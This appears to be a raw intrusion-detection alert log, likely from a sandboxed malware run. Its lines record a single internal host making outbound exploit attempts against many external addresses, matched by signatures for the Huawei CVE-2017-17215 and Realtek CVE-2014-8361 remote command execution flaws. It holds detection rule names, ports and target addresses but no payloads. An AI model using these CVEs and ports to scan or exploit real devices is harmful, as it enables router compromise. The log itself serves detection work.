07/20/24-23:01:33.056745	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58524	37215	192.168.2.14	157.116.171.252
07/20/24-23:01:30.742438	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34028	52869	192.168.2.14	223.125.41.63
07/20/24-23:01:29.176022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47400	52869	192.168.2.14	78.159.95.203
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43470	37215	192.168.2.14	157.150.206.31
07/20/24-23:01:13.329563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33366	52869	192.168.2.14	91.209.91.142
07/20/24-23:01:34.958932	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58872	52869	192.168.2.14	14.235.67.126
07/20/24-23:01:34.980138	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59224	52869	192.168.2.14	90.112.65.145
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55214	37215	192.168.2.14	197.119.228.219
07/20/24-23:01:33.190553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58680	52869	192.168.2.14	131.234.185.229
07/20/24-23:01:29.745031	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50792	52869	192.168.2.14	41.37.91.19
07/20/24-23:01:37.122115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54322	37215	192.168.2.14	157.160.22.239
07/20/24-23:01:33.856930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36458	52869	192.168.2.14	120.128.124.111
07/20/24-23:01:34.918353	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58312	52869	192.168.2.14	64.178.194.185
07/20/24-23:01:24.075435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58444	52869	192.168.2.14	191.59.144.253
07/20/24-23:01:24.080444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51424	52869	192.168.2.14	194.152.67.254
07/20/24-23:01:13.334111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49022	52869	192.168.2.14	211.247.22.129
07/20/24-23:01:32.452250	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51456	52869	192.168.2.14	180.166.72.99
07/20/24-23:01:33.916849	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59724	52869	192.168.2.14	45.152.27.139
07/20/24-23:01:34.920034	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52544	52869	192.168.2.14	164.158.91.189
07/20/24-23:01:14.428293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44196	37215	192.168.2.14	197.223.158.9
07/20/24-23:01:11.468893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34810	37215	192.168.2.14	190.106.73.53
07/20/24-23:01:25.285323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48382	37215	192.168.2.14	41.22.177.233
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55434	37215	192.168.2.14	197.9.56.149
07/20/24-23:01:06.868931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35782	52869	192.168.2.14	40.156.155.77
07/20/24-23:01:13.332965	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56824	52869	192.168.2.14	72.146.47.133
07/20/24-23:01:06.201519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46384	52869	192.168.2.14	172.76.44.174
07/20/24-23:01:34.945021	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45642	52869	192.168.2.14	94.172.116.232
07/20/24-23:01:37.227353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49488	37215	192.168.2.14	197.124.177.160
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45202	37215	192.168.2.14	18.203.170.108
07/20/24-23:01:14.396963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35652	37215	192.168.2.14	142.218.73.42
07/20/24-23:01:29.176022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47400	52869	192.168.2.14	78.159.95.203
07/20/24-23:01:02.441031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41490	37215	192.168.2.14	197.249.254.134
07/20/24-23:01:07.456843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36622	52869	192.168.2.14	66.134.165.127
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48816	37215	192.168.2.14	157.237.137.71
07/20/24-23:01:29.171040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54356	52869	192.168.2.14	217.168.109.210
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33826	37215	192.168.2.14	197.33.157.33
07/20/24-23:01:05.901568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35886	37215	192.168.2.14	157.59.173.180
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51308	37215	192.168.2.14	197.103.42.133
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34422	37215	192.168.2.14	157.51.85.189
07/20/24-23:01:29.204277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54636	52869	192.168.2.14	1.52.127.148
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60812	37215	192.168.2.14	157.255.32.178
07/20/24-23:01:29.176022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46372	52869	192.168.2.14	211.77.142.174
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33632	37215	192.168.2.14	157.200.191.255
07/20/24-23:01:06.142758	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39248	52869	192.168.2.14	35.91.143.191
07/20/24-23:01:11.478032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54276	37215	192.168.2.14	41.33.138.117
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59234	37215	192.168.2.14	107.100.22.77
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57740	37215	192.168.2.14	197.122.67.226
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43780	37215	192.168.2.14	176.172.49.119
07/20/24-23:01:32.971164	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47288	52869	192.168.2.14	59.88.136.75
07/20/24-23:01:11.477507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42950	37215	192.168.2.14	167.165.86.177
07/20/24-23:01:05.764414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60450	52869	192.168.2.14	220.158.230.42
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43052	37215	192.168.2.14	99.76.24.125
07/20/24-23:01:34.965835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47694	52869	192.168.2.14	149.189.66.2
07/20/24-23:01:34.913413	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48560	52869	192.168.2.14	114.78.57.39
07/20/24-23:01:34.566000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33046	52869	192.168.2.14	99.174.108.83
07/20/24-23:01:06.232901	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56876	52869	192.168.2.14	115.118.201.201
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51366	37215	192.168.2.14	187.213.20.127
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36474	37215	192.168.2.14	165.96.229.239
07/20/24-23:01:34.899868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43370	52869	192.168.2.14	210.189.81.4
07/20/24-23:01:34.918354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46300	52869	192.168.2.14	199.206.179.25
07/20/24-23:01:13.334997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53592	52869	192.168.2.14	19.130.123.151
07/20/24-23:01:13.330357	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48528	52869	192.168.2.14	134.76.14.241
07/20/24-23:01:13.329247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37792	52869	192.168.2.14	198.112.106.164
07/20/24-23:01:06.330646	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41132	52869	192.168.2.14	169.73.158.246
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38440	37215	192.168.2.14	197.101.245.95
07/20/24-23:01:19.231068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41934	37215	192.168.2.14	48.32.197.143
07/20/24-23:01:02.412914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35696	37215	192.168.2.14	157.71.253.214
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49632	37215	192.168.2.14	41.231.162.190
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46406	37215	192.168.2.14	157.139.107.156
07/20/24-23:01:06.544420	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46610	52869	192.168.2.14	72.222.174.251
07/20/24-23:01:29.204277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39460	52869	192.168.2.14	118.185.55.220
07/20/24-23:01:22.782671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57826	37215	192.168.2.14	41.193.78.117
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44952	37215	192.168.2.14	4.138.223.143
07/20/24-23:01:32.490422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34704	52869	192.168.2.14	71.235.40.59
07/20/24-23:01:11.478031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41290	37215	192.168.2.14	157.86.114.30
07/20/24-23:01:33.081950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51934	37215	192.168.2.14	197.196.65.12
07/20/24-23:01:13.330806	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43954	52869	192.168.2.14	149.86.2.31
07/20/24-23:01:22.786544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38358	37215	192.168.2.14	157.92.202.138
07/20/24-23:01:13.332899	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55020	52869	192.168.2.14	168.236.58.106
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60832	37215	192.168.2.14	197.170.131.179
07/20/24-23:01:06.882553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47060	52869	192.168.2.14	98.212.47.174
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44024	37215	192.168.2.14	197.60.159.225
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56822	37215	192.168.2.14	157.193.13.42
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35378	37215	192.168.2.14	135.162.156.187
07/20/24-23:01:31.300663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43400	52869	192.168.2.14	222.183.144.227
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44122	37215	192.168.2.14	41.180.192.98
07/20/24-23:01:34.909156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41926	52869	192.168.2.14	167.127.222.117
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32968	37215	192.168.2.14	157.149.96.221
07/20/24-23:01:22.792727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49300	37215	192.168.2.14	157.64.229.9
07/20/24-23:01:14.452336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58222	37215	192.168.2.14	41.104.167.172
07/20/24-23:01:14.454899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60698	37215	192.168.2.14	98.85.112.187
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52086	37215	192.168.2.14	157.255.232.153
07/20/24-23:01:11.474688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58412	37215	192.168.2.14	157.233.217.6
07/20/24-23:01:24.825430	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59154	52869	192.168.2.14	118.204.104.96
07/20/24-23:01:06.276912	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50982	52869	192.168.2.14	108.207.129.253
07/20/24-23:01:05.442608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57236	52869	192.168.2.14	82.44.225.133
07/20/24-23:01:34.995513	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38130	52869	192.168.2.14	157.141.84.47
07/20/24-23:01:14.397142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52048	37215	192.168.2.14	41.104.186.186
07/20/24-23:01:37.120678	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33822	37215	192.168.2.14	157.126.88.19
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53284	37215	192.168.2.14	221.40.188.74
07/20/24-23:01:13.334387	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50220	52869	192.168.2.14	5.108.28.159
07/20/24-23:01:19.336582	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46110	37215	192.168.2.14	218.120.151.234
07/20/24-23:01:33.094838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40328	37215	192.168.2.14	197.35.100.147
07/20/24-23:01:14.407392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44238	37215	192.168.2.14	186.140.90.49
07/20/24-23:01:30.624909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46938	52869	192.168.2.14	77.70.6.175
07/20/24-23:01:05.848041	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51920	52869	192.168.2.14	146.126.33.191
07/20/24-23:01:11.483526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36886	37215	192.168.2.14	84.125.194.139
07/20/24-23:01:13.332448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42074	52869	192.168.2.14	2.115.51.25
07/20/24-23:01:13.332965	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56824	52869	192.168.2.14	72.146.47.133
07/20/24-23:01:29.514831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58376	52869	192.168.2.14	125.9.219.100
07/20/24-23:01:18.195561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39976	37215	192.168.2.14	197.56.17.244
07/20/24-23:01:34.940229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48114	52869	192.168.2.14	163.83.107.67
07/20/24-23:01:24.080444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46312	52869	192.168.2.14	137.171.174.123
07/20/24-23:01:34.922465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33618	52869	192.168.2.14	104.41.121.72
07/20/24-23:01:22.788405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56272	37215	192.168.2.14	41.36.190.232
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46134	37215	192.168.2.14	157.94.206.239
07/20/24-23:01:13.336391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49180	52869	192.168.2.14	196.159.190.117
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42456	37215	192.168.2.14	157.212.111.29
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57346	37215	192.168.2.14	197.141.224.18
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54508	37215	192.168.2.14	197.0.32.209
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41780	37215	192.168.2.14	157.232.183.8
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48574	37215	192.168.2.14	41.126.220.250
07/20/24-23:01:34.937254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57428	52869	192.168.2.14	61.27.5.72
07/20/24-23:01:06.594899	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53784	52869	192.168.2.14	168.236.58.106
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60442	37215	192.168.2.14	41.224.168.193
07/20/24-23:01:25.018117	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46050	52869	192.168.2.14	172.198.125.221
07/20/24-23:01:05.558090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48856	52869	192.168.2.14	66.247.97.52
07/20/24-23:01:34.937254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57428	52869	192.168.2.14	61.27.5.72
07/20/24-23:01:13.333147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45196	52869	192.168.2.14	173.77.175.8
07/20/24-23:01:14.397565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47688	37215	192.168.2.14	41.154.151.252
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51372	37215	192.168.2.14	157.249.219.167
07/20/24-23:01:02.409019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35070	37215	192.168.2.14	141.92.189.24
07/20/24-23:01:29.169502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55954	52869	192.168.2.14	216.167.162.18
07/20/24-23:01:21.298389	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53156	52869	192.168.2.14	147.70.92.77
07/20/24-23:01:33.056745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48204	37215	192.168.2.14	131.10.23.131
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47860	37215	192.168.2.14	41.213.121.33
07/20/24-23:01:25.231958	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48604	37215	192.168.2.14	197.222.89.42
07/20/24-23:01:28.211361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40848	37215	192.168.2.14	157.128.111.10
07/20/24-23:01:13.331144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47558	52869	192.168.2.14	93.255.94.157
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41162	37215	192.168.2.14	197.49.30.177
07/20/24-23:01:14.431063	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57606	37215	192.168.2.14	197.159.171.115
07/20/24-23:01:31.287445	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40132	52869	192.168.2.14	145.28.17.66
07/20/24-23:01:37.208725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53182	37215	192.168.2.14	197.10.163.45
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43242	37215	192.168.2.14	87.194.130.244
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48994	37215	192.168.2.14	157.23.93.160
07/20/24-23:01:34.919558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41714	52869	192.168.2.14	158.56.98.102
07/20/24-23:01:37.191093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43604	37215	192.168.2.14	41.236.234.89
07/20/24-23:01:02.411450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57302	37215	192.168.2.14	41.233.169.62
07/20/24-23:01:34.927043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59426	52869	192.168.2.14	24.110.26.135
07/20/24-23:01:14.407392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44238	37215	192.168.2.14	186.140.90.49
07/20/24-23:01:13.334997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50684	52869	192.168.2.14	38.32.235.210
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43756	37215	192.168.2.14	197.226.170.80
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48158	37215	192.168.2.14	88.254.65.6
07/20/24-23:01:11.472602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33866	37215	192.168.2.14	202.192.16.30
07/20/24-23:01:32.779683	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38948	52869	192.168.2.14	115.207.235.241
07/20/24-23:01:29.185354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55126	52869	192.168.2.14	174.134.90.178
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41974	37215	192.168.2.14	41.151.24.238
07/20/24-23:01:25.278504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56936	37215	192.168.2.14	197.150.76.31
07/20/24-23:01:22.777004	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47124	37215	192.168.2.14	81.10.137.209
07/20/24-23:01:32.830980	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46354	52869	192.168.2.14	206.110.55.66
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44850	37215	192.168.2.14	41.145.104.63
07/20/24-23:01:13.333147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45486	52869	192.168.2.14	47.67.168.49
07/20/24-23:01:06.191534	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40850	52869	192.168.2.14	2.115.51.25
07/20/24-23:01:25.295702	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53774	52869	192.168.2.14	217.168.109.210
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35134	37215	192.168.2.14	157.68.139.198
07/20/24-23:01:33.037346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42072	37215	192.168.2.14	197.156.224.252
07/20/24-23:01:13.336216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52160	52869	192.168.2.14	35.112.217.187
07/20/24-23:01:19.334468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44764	37215	192.168.2.14	197.221.1.52
07/20/24-23:01:24.746147	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36894	52869	192.168.2.14	2.153.113.72
07/20/24-23:01:13.332260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49224	52869	192.168.2.14	217.244.72.189
07/20/24-23:01:11.478031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41290	37215	192.168.2.14	157.86.114.30
07/20/24-23:01:14.398934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47220	37215	192.168.2.14	41.164.3.177
07/20/24-23:01:24.078342	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51548	52869	192.168.2.14	54.211.16.108
